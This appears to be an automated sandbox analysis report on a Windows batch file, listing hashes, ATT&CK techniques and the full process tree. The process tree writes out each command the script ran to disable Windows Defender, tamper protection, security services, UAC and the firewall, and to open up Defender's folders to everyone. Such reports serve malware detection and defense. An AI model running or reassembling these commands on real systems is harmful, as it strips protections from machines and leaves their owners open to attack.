a3f7791a226479f21bef6dd5863e8ec7e05cf34b8e63cbc70a012c4dbfd24078

Analysis

max time kernel
148s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
23/07/2026, 14:24

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General

Target
deepseek_batch_20260723_c2fba3.bat
Size 2KB
Sample260723-rqvplaek21
SHA256 a3f7791a226479f21bef6dd5863e8ec7e05cf34b8e63cbc70a012c4dbfd24078
MD5 93773913b2e58e8616438d76145d611b
SHA1 538bcc0eeb67e2d6f8befb2bfea37bd060fe2d3c
SHA512 690b5f196335673977243abe0cefae7671608652b2ef2a51e4c9ad540eded649f3aca066dcffab85023250b62d735e819cc876917ed993121c905671d44bb024
TLSH
T1A75167137D7A5D3BD161F86069DB59036796D18B30D3BFD190C02216E477607C27A9CE
MD5 SHA1 SHA512 TLSH

Score

10^/10

defense_evasion discovery evasion execution exploit persistence privilege_escalation trojan

Malware Config

Signatures

Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	reg.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

defense_evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

Modifies firewall policy service 3 TTPs 2 IoCs

defense_evasion

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\EnableFirewall = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile	reg.exe

UAC bypass 3 TTPs 3 IoCs

defense_evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	reg.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

defense_evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
292	netsh.exe

Possible privilege escalation attempt 2 IoCs

exploit

pid	Process
936	takeown.exe
3452	icacls.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002

Modifies file permissions 1 TTPs 2 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
3452	icacls.exe
936	takeown.exe

Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Windows Defender\EppManifest.dll	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\es-ES\MpEvMsg.dll.mui	cmd.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\fr-FR\MpAsDesc.dll.mui	cmd.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\MpCmdRun.exe	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\Offline\MsMpLics.dll	cmd.exe
File opened for modification	C:\Program Files\Windows Defender	cmd.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\MpDetours.dll	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\de-DE\ProtectionManagement.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\DlpUserAgent.exe	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\FepUnregister.mof	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\fr-FR\MpAsDesc.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\ProtectionManagement_Uninstall.mof	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\AMMonitoringProvider.dll	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\en-US\ProtectionManagement.mfl	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\MpDefenderCoreService.exe	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\ProtectionManagement.mof	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\en-US\ProtectionManagement.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\fr-FR\OfflineScannerShell.exe.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\it-IT\ProtectionManagement_Uninstall.mfl	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\ja-JP\MpEvMsg.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\MpDlpService.exe	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\MsMpLics.dll	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\ProtectionManagement.dll	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\en-US\shellext.dll.mui	cmd.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\de-DE\EppManifest.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\de-DE\shellext.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\ja-JP\EppManifest.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\uk-UA\ProtectionManagement.mfl	cmd.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\MsMpLics.dll	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\ConfigSecurityPolicy.exe	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\de-DE\OfflineScannerShell.exe.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\es-ES\ProtectionManagement_Uninstall.mfl	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\fr-FR\MsMpRes.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\fr-FR\shellext.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\it-IT\EppManifest.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\it-IT\OfflineScannerShell.exe.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\MsMpEng.exe	cmd.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\ja-JP\EppManifest.dll.mui	cmd.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\de-DE\MpAsDesc.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\it-IT\MpEvMsg.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\it-IT\ProtectionManagement.mfl	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\mpextms.exe	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\MsMpCom.dll	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\uk-UA\ProtectionManagement.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\uk-UA\shellext.dll.mui	cmd.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\ja-JP\MpAsDesc.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\MpDetoursCopyAccelerator.dll	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\shellext.dll	cmd.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\en-US\EppManifest.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\DefenderCSP.dll	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\Offline\OfflineScannerShell.exe	cmd.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\it-IT\MpAsDesc.dll.mui	cmd.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\MpClient.dll	cmd.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\MpOAV.dll	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\AmMonitoringInstall.mof	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\en-US\EppManifest.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\endpointdlp.dll	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\es-ES\ProtectionManagement.mfl	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\fr-FR\ProtectionManagement.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\MpCmdRun.exe	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\en-US\MsMpRes.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\fr-FR\EppManifest.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\MpAsDesc.dll	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\en-US\OfflineScannerShell.exe.mui	cmd.exe

Launches sc.exe 4 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
3000	sc.exe
5856	sc.exe
3360	sc.exe
4616	sc.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
6056	powershell.exe

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4436	cmd.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
1820	PING.EXE

Runs net.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
1820	PING.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
6056	powershell.exe
6056	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	6056	powershell.exe
Token: SeTakeOwnershipPrivilege	936	takeown.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 4436 wrote to memory of 1820	4436	cmd.exe	90
PID 4436 wrote to memory of 3432	4436	cmd.exe	91
PID 3432 wrote to memory of 2780	3432	net.exe	92
PID 4436 wrote to memory of 6056	4436	cmd.exe	93
PID 4436 wrote to memory of 1500	4436	cmd.exe	94
PID 4436 wrote to memory of 5164	4436	cmd.exe	95
PID 4436 wrote to memory of 5932	4436	cmd.exe	96
PID 4436 wrote to memory of 4616	4436	cmd.exe	97
PID 4436 wrote to memory of 3000	4436	cmd.exe	98
PID 4436 wrote to memory of 5856	4436	cmd.exe	99
PID 4436 wrote to memory of 3360	4436	cmd.exe	100
PID 4436 wrote to memory of 936	4436	cmd.exe	101
PID 4436 wrote to memory of 3452	4436	cmd.exe	102
PID 4436 wrote to memory of 1880	4436	cmd.exe	103
PID 4436 wrote to memory of 1176	4436	cmd.exe	104
PID 4436 wrote to memory of 5804	4436	cmd.exe	105
PID 4436 wrote to memory of 292	4436	cmd.exe	106
PID 4436 wrote to memory of 5684	4436	cmd.exe	107

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\deepseek_batch_20260723_c2fba3.bat"
1⤵
- Drops file in Program Files directory
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4436
- C:\Windows\system32\PING.EXE
  ping -n 8 127.0.0.1
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Runs ping.exe
  PID:1820
- C:\Windows\system32\net.exe
  net session
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3432
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 session
    3⤵
    PID:2780
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$a=[DllImport('kernel32.dll')]::GetConsoleWindow();[DllImport('user32.dll')]::ShowWindow($a,0)"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:6056
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
  2⤵
  - Modifies Windows Defender DisableAntiSpyware settings
  PID:1500
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  PID:5164
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" /v TamperProtection /t REG_DWORD /d 0 /f
  2⤵
  PID:5932
- C:\Windows\system32\sc.exe
  sc stop WinDefend
  2⤵
  - Launches sc.exe
  PID:4616
- C:\Windows\system32\sc.exe
  sc config WinDefend start= disabled
  2⤵
  - Launches sc.exe
  PID:3000
- C:\Windows\system32\sc.exe
  sc stop SecurityHealthService
  2⤵
  - Launches sc.exe
  PID:5856
- C:\Windows\system32\sc.exe
  sc config SecurityHealthService start= disabled
  2⤵
  - Launches sc.exe
  PID:3360
- C:\Windows\system32\takeown.exe
  takeown /f "C:\ProgramData\Microsoft\Windows Defender\*" /r /d y
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  - Suspicious use of AdjustPrivilegeToken
  PID:936
- C:\Windows\system32\icacls.exe
  icacls "C:\ProgramData\Microsoft\Windows Defender\*" /grant Everyone:F /t
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:3452
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f
  2⤵
  - UAC bypass
  PID:1880
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f
  2⤵
  - UAC bypass
  PID:1176
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v PromptOnSecureDesktop /t REG_DWORD /d 0 /f
  2⤵
  - UAC bypass
  PID:5804
- C:\Windows\system32\netsh.exe
  netsh advfirewall set allprofiles state off
  2⤵
  - Modifies Windows Firewall
  - Event Triggered Execution: Netsh Helper DLL
  PID:292
- C:\Windows\system32\reg.exe
  reg add "HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile" /v EnableFirewall /t REG_DWORD /d 0 /f
  2⤵
  - Modifies firewall policy service
  PID:5684